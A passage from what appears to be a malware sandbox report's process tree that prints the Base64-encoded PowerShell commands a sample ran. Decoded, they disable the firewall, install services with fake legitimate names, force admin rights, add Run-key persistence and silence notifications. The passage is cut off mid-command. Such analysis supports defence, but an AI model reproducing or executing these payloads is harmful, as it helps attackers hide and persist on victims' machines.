8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgAKAFMAZQB0AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFAAcgBvAGYAaQBsAGUAIAAtAFAAcgBvAGYAaQBsAGUAIABEAG8AbQBhAGkAbgAsAFAAdQBiAGwAaQBjACwAUAByAGkAdgBhAHQAZQAgAC0ARQBuAGEAYgBsAGUAZAAgAEYAYQBsAHMAZQAKAA==
        7⤵
        
        PID:3936
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:4832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKACQAcwBlAHIAdgBpAGMAZQBzACAAPQAgAEAAKAAKACAAIAAgACAAQAB7AE4AYQBtAGUAPQAiAFAAcgBvAGcAcgBhAG0AcwBDAGEAYwBoAGUAIgA7ACAARABpAHMAcABsAGEAeQBOAGEAbQBlAD0AIgBDAGEAYwBoAGUAIABQAHIAbwBnAHIAYQBtACAAQwBvAG4AdAByAG8AbAAiADsAIABEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAiAE0AYQBuAGEAZwBlAHMAIABhAG4AZAAgAGkAbQBwAGwAZQBtAGUAbgB0AHMAIABDAGEAYwBoAGUAIABQAHIAbwBnAHIAYQBtACAAQwBvAG4AdAByAG8AbAAgAHUAcwBlAGQAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIABvAHQAaABlAHIAIABwAHUAcgBwAG8AcwBlAHMALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAcwB0AG8AcABwAGUAZAAsACAAcwBoAGEAZABvAHcAIABjAG8AcABpAGUAcwAgAHcAaQBsAGwAIABiAGUAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIAB0AGgAZQAgAGIAYQBjAGsAdQBwACAAbQBhAHkAIABmAGEAaQBsAC4AIABJAGYAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAgAGkAcwAgAGQAaQBzAGEAYgBsAGUAZAAsACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAHMAIAB0AGgAYQB0ACAAZQB4AHAAbABpAGMAaQB0AGwAeQAgAGQAZQBwAGUAbgBkACAAbwBuACAAaQB0ACAAdwBpAGwAbAAgAGYAYQBpAGwAIAB0AG8AIABzAHQAYQByAHQALgAiADsAIABCAGkAbgBhAHIAeQBQAGEAdABoAE4AYQBtAGUAPQAiACQAZQBuAHYAOgBQAFIATwBHAFIAQQBNAEQAQQBUAEEAXABCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiAH0ALAAKACAAIAAgACAAQAB7AE4AYQBtAGUAPQAiAFIAZQBnAGUAZABpAHQAQwBhAGMAaABlACIAOwAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQA9ACIAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIABDAGEAYwBoAGUAIABDAG8AbgB0AHIAbwBsACIAOwAgAEQAZQBzAGMAcgBpAHAAdABpAG8AbgA9ACIATQBhAG4AYQBnAGUAcwAgAGEAbgBkACAAaQBtAHAAbABlAG0AZQBuAHQAcwAgAEMAYQBjAGgAZQAgAFIAZQBnAGkAcwB0AHIAeQAgAFAAcgBvAGcAcgBhAG0AIABDAG8AbgB0AHIAbwBsACAAdQBzAGUAZAAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAG8AdABoAGUAcgAgAHAAdQByAHAAbwBzAGUAcwAuACAASQBmACAAdABoAGkAcwAgAHMAZQByAHYAaQBjAGUAIABpAHMAIABzAHQAbwBwAHAAZQBkACwAIABzAGgAYQBkAG8AdwAgAGMAbwBwAGkAZQBzACAAdwBpAGwAbAAgAGIAZQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAHQAaABlACAAYgBhAGMAawB1AHAAIABtAGEAeQAgAGYAYQBpAGwALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAZABpAHMAYQBiAGwAZQBkACwAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAcwAgAHQAaABhAHQAIABlAHgAcABsAGkAYwBpAHQAbAB5ACAAZABlAHAAZQBuAGQAIABvAG4AIABpAHQAIAB3AGkAbABsACAAZgBhAGkAbAAgAHQAbwAgAHMAdABhAHIAdAAuACIAOwAgAEIAaQBuAGEAcgB5AFAAYQB0AGgATgBhAG0AZQA9ACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAGUAZABpAHQALgBlAHgAZQAiAH0ALAAKACAAIAAgACAAQAB7AE4AYQBtAGUAPQAiAEQAZQB2AEEAcwBzAG8AYwBNAGEAbgAiADsAIABEAGkAcwBwAGwAYQB5AE4AYQBtAGUAPQAiAEQAZQB2AGkAYwBlACAAQQBzAHMAbwBjAGkAYQB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgAiADsAIABEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAiAE0AYQBuAGEAZwBlAHMAIABhAG4AZAAgAGkAbQBwAGwAZQBtAGUAbgB0AHMAIABEAGUAdgBpAGMAZQAgAEEAcwBzAG8AYwBpAGEAdABpAG8AbgAgAE0AYQBuAGEAZwBlAHIAIAB1AHMAZQBkACAAZgBvAHIAIABiAGEAYwBrAHUAcAAgAGEAbgBkACAAbwB0AGgAZQByACAAcAB1AHIAcABvAHMAZQBzAC4AIABJAGYAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAgAGkAcwAgAHMAdABvAHAAcABlAGQALAAgAHMAaABhAGQAbwB3ACAAYwBvAHAAaQBlAHMAIAB3AGkAbABsACAAYgBlACAAdQBuAGEAdgBhAGkAbABhAGIAbABlACAAZgBvAHIAIABiAGEAYwBrAHUAcAAgAGEAbgBkACAAdABoAGUAIABiAGEAYwBrAHUAcAAgAG0AYQB5ACAAZgBhAGkAbAAuACAASQBmACAAdABoAGkAcwAgAHMAZQByAHYAaQBjAGUAIABpAHMAIABkAGkAcwBhAGIAbABlAGQALAAgAGEAbgB5ACAAcwBlAHIAdgBpAGMAZQBzACAAdABoAGEAdAAgAGUAeABwAGwAaQBjAGkAdABsAHkAIABkAGUAcABlAG4AZAAgAG8AbgAgAGkAdAAgAHcAaQBsAGwAIABmAGEAaQBsACAAdABvACAAcwB0AGEAcgB0AC4AIgA7ACAAQgBpAG4AYQByAHkAUABhAHQAaABOAGEAbQBlAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgB9ACwACgAgACAAIAAgAEAAewBOAGEAbQBlAD0AIgBOAGcAYwBDAHAAbQByAFMAdgBjACIAOwAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQA9ACIATQBpAGMAcgBvAHMAbwBmAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABQAGEAcwBzAHAAbwByAHQAIgA7ACAARABlAHMAYwByAGkAcAB0AGkAbwBuAD0AIgBNAGEAbgBhAGcAZQBzACAAYQBuAGQAIABpAG0AcABsAGUAbQBlAG4AdABzACAATQBpAGMAcgBvAHMAbwBmAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABQAGEAcwBzAHAAbwByAHQAIAB1AHMAZQBkACAAZgBvAHIAIABiAGEAYwBrAHUAcAAgAGEAbgBkACAAbwB0AGgAZQByACAAcAB1AHIAcABvAHMAZQBzAC4AIABJAGYAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAgAGkAcwAgAHMAdABvAHAAcABlAGQALAAgAHMAaABhAGQAbwB3ACAAYwBvAHAAaQBlAHMAIAB3AGkAbABsACAAYgBlACAAdQBuAGEAdgBhAGkAbABhAGIAbABlACAAZgBvAHIAIABiAGEAYwBrAHUAcAAgAGEAbgBkACAAdABoAGUAIABiAGEAYwBrAHUAcAAgAG0AYQB5ACAAZgBhAGkAbAAuACAASQBmACAAdABoAGkAcwAgAHMAZQByAHYAaQBjAGUAIABpAHMAIABkAGkAcwBhAGIAbABlAGQALAAgAGEAbgB5ACAAcwBlAHIAdgBpAGMAZQBzACAAdABoAGEAdAAgAGUAeABwAGwAaQBjAGkAdABsAHkAIABkAGUAcABlAG4AZAAgAG8AbgAgAGkAdAAgAHcAaQBsAGwAIABmAGEAaQBsACAAdABvACAAcwB0AGEAcgB0AC4AIgA7ACAAQgBpAG4AYQByAHkAUABhAHQAaABOAGEAbQBlAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAfQAsAAoAIAAgACAAIABAAHsATgBhAG0AZQA9ACIAUgBlAG0AZQBkAHkAUAByAG8AYwAiADsAIABEAGkAcwBwAGwAYQB5AE4AYQBtAGUAPQAiAFIAZQBtAGUAZAB5ACAAUAByAG8AYwBlAHMAcwBlAHMAIgA7ACAARABlAHMAYwByAGkAcAB0AGkAbwBuAD0AIgBNAGEAbgBhAGcAZQBzACAAYQBuAGQAIABpAG0AcABsAGUAbQBlAG4AdABzACAAUgBlAG0AZQBkAHkAIABQAHIAbwBjAGUAcwBzAGUAcwAgAE0AYQBuAGEAZwBlAHIAIABDAG8AbgB0AHIAbwBsACAAdQBzAGUAZAAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAG8AdABoAGUAcgAgAHAAdQByAHAAbwBzAGUAcwAuACAASQBmACAAdABoAGkAcwAgAHMAZQByAHYAaQBjAGUAIABpAHMAIABzAHQAbwBwAHAAZQBkACwAIABzAGgAYQBkAG8AdwAgAGMAbwBwAGkAZQBzACAAdwBpAGwAbAAgAGIAZQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAgAGYAbwByACAAYgBhAGMAawB1AHAAIABhAG4AZAAgAHQAaABlACAAYgBhAGMAawB1AHAAIABtAGEAeQAgAGYAYQBpAGwALgAgAEkAZgAgAHQAaABpAHMAIABzAGUAcgB2AGkAYwBlACAAaQBzACAAZABpAHMAYQBiAGwAZQBkACwAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAcwAgAHQAaABhAHQAIABlAHgAcABsAGkAYwBpAHQAbAB5ACAAZABlAHAAZQBuAGQAIABvAG4AIABpAHQAIAB3AGkAbABsACAAZgBhAGkAbAAgAHQAbwAgAHMAdABhAHIAdAAuACIAOwAgAEIAaQBuAGEAcgB5AFAAYQB0AGgATgBhAG0AZQA9ACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAUwBoAGUASQBsAEUAeABwAGUAcgBpAGUAbgBjAGUASABvAHMAdAAuAGUAeABlACIAfQAKACkACgAKAGYAbwByAGUAYQBjAGgAIAAoACQAcwBlAHIAdgBpAGMAZQAgAGkAbgAgACQAcwBlAHIAdgBpAGMAZQBzACkAIAB7AAoAIAAgACAAIABOAGUAdwAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIAAkAHMAZQByAHYAaQBjAGUALgBOAGEAbQBlACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAkAHMAZQByAHYAaQBjAGUALgBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAtAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACQAcwBlAHIAdgBpAGMAZQAuAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgAC0AUwB0AGEAcgB0AHUAcABUAHkAcABlACAAIgBBAHUAdABvAG0AYQB0AGkAYwAiACAALQBCAGkAbgBhAHIAeQBQAGEAdABoAE4AYQBtAGUAIAAkAHMAZQByAHYAaQBjAGUALgBCAGkAbgBhAHIAeQBQAGEAdABoAE4AYQBtAGUACgB9AAoA
        7⤵
        
        PID:4220
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:5816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKACQAYQBwAHAAQwBvAG0AcABhAHQAUABhAHQAaABzACAAPQAgAEAAKAAKAAkAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAsAAoACQAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiACwACgAgACAAIAAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABJAGwAaABvAHMAdAAuAGUAeABlACIALAAKACAAIAAgACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABkAEkAbABoAG8AcwB0AC4AZQB4AGUAIgAsAAoACQAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgAsAAoAIAAgACAAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAGQAbABJAGgAbwBzAHQALgBlAHgAZQAiACwACgAgACAAIAAgACIAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIALAAKAAkAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAZQBkAGkAdAAuAGUAeABlACIALAAKAAkAIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABTAGgAZQBJAGwARQB4AHAAZQByAGkAZQBuAGMAZQBIAG8AcwB0AC4AZQB4AGUAIgAKACkACgAKAGYAbwByAGUAYQBjAGgAIAAoACQAcABhAHQAaAAgAGkAbgAgACQAYQBwAHAAQwBvAG0AcABhAHQAUABhAHQAaABzACkAIAB7AAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHAAcABDAG8AbQBwAGEAdABGAGwAYQBnAHMAXABMAGEAeQBlAHIAcwAiACAALQBOAGEAbQBlACAAJABwAGEAdABoACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACQAcABhAHQAaAAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBWAGEAbAB1AGUAIAAiAH4AIABSAFUATgBBAFMAQQBEAE0ASQBOACIAIAAtAEYAbwByAGMAZQAKACAAIAAgACAATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAQwBvAG0AcABhAHQARgBsAGEAZwBzAFwATABhAHkAZQByAHMAIgAgAC0ATgBhAG0AZQAgACQAcABhAHQAaAAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEMAbwBtAHAAYQB0AEYAbABhAGcAcwBcAEwAYQB5AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAkAHAAYQB0AGgAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0AVgBhAGwAdQBlACAAIgB+ACAAUgBVAE4AQQBTAEEARABNAEkATgAiACAALQBGAG8AcgBjAGUACgB9AAoA
        7⤵
        
        PID:5560
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:2744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKACQAcgB1AG4ARQBuAHQAcgBpAGUAcwAgAD0AIABAACgACgAgACAAIAAgAEAAewBOAGEAbQBlAD0AIgBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIAIgA7ACAAVgBhAGwAdQBlAD0AIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgB9ACwACgAgACAAIAAgAEAAewBOAGEAbQBlAD0AIgBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIAIgA7ACAAVgBhAGwAdQBlAD0AIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAZQBkAGkAdAAuAGUAeABlACIAfQAsAAoAIAAgACAAIABAAHsATgBhAG0AZQA9ACIARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIAIgA7ACAAVgBhAGwAdQBlAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgB9ACwACgAgACAAIAAgAEAAewBOAGEAbQBlAD0AIgBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQAIgA7ACAAVgBhAGwAdQBlAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAfQAsAAoAIAAgACAAIABAAHsATgBhAG0AZQA9ACIAUwBoAGUASQBsAEUAeABwAGUAcgBpAGUAbgBjAGUASABvAHMAdAAiADsAIABWAGEAbAB1AGUAPQAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAFMAaABlAEkAbABFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQALgBlAHgAZQAiAH0ACgApAAoACgBmAG8AcgBlAGEAYwBoACAAKAAkAGUAbgB0AHIAeQAgAGkAbgAgACQAcgB1AG4ARQBuAHQAcgBpAGUAcwApACAAewAKACAAIAAgACAATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACQAZQBuAHQAcgB5AC4ATgBhAG0AZQAgAC0AVgBhAGwAdQBlACAAJABlAG4AdAByAHkALgBWAGEAbAB1AGUAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACQAZQBuAHQAcgB5AC4ATgBhAG0AZQAgAC0AVgBhAGwAdQBlACAAJABlAG4AdAByAHkALgBWAGEAbAB1AGUAIAAtAFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAJABlAG4AdAByAHkALgBOAGEAbQBlACAALQBWAGEAbAB1AGUAIAAkAGUAbgB0AHIAeQAuAFYAYQBsAHUAZQAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAJABlAG4AdAByAHkALgBOAGEAbQBlACAALQBWAGEAbAB1AGUAIAAkAGUAbgB0AHIAeQAuAFYAYQBsAHUAZQAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgB9AAoA
        7⤵
        Adds Run key to start application
        
        PID:756
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:3852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAdQBzAGgATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBOAGEAbQBlACAAIgBUAG8AYQBzAHQARQBuAGEAYgBsAGUAZAAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACIARABXAG8AcgBkACIAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAdQBzAGgATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBOAGEAbQBlACAAIgBUAG8AYQBzAHQARQBuAGEAYgBsAGUAZAAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAHUAcwBoAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIAVABvAGEAcwB0AEUAbgBhAGIAbABlAGQAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAHUAcwBoAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIAVABvAGEAcwB0AEUAbgBhAGIAbABlAGQAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMAAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcACIAIAAtAE4AYQBtAGUAIAAiAEcAcgBhAHAAaABpAGMAcwBEA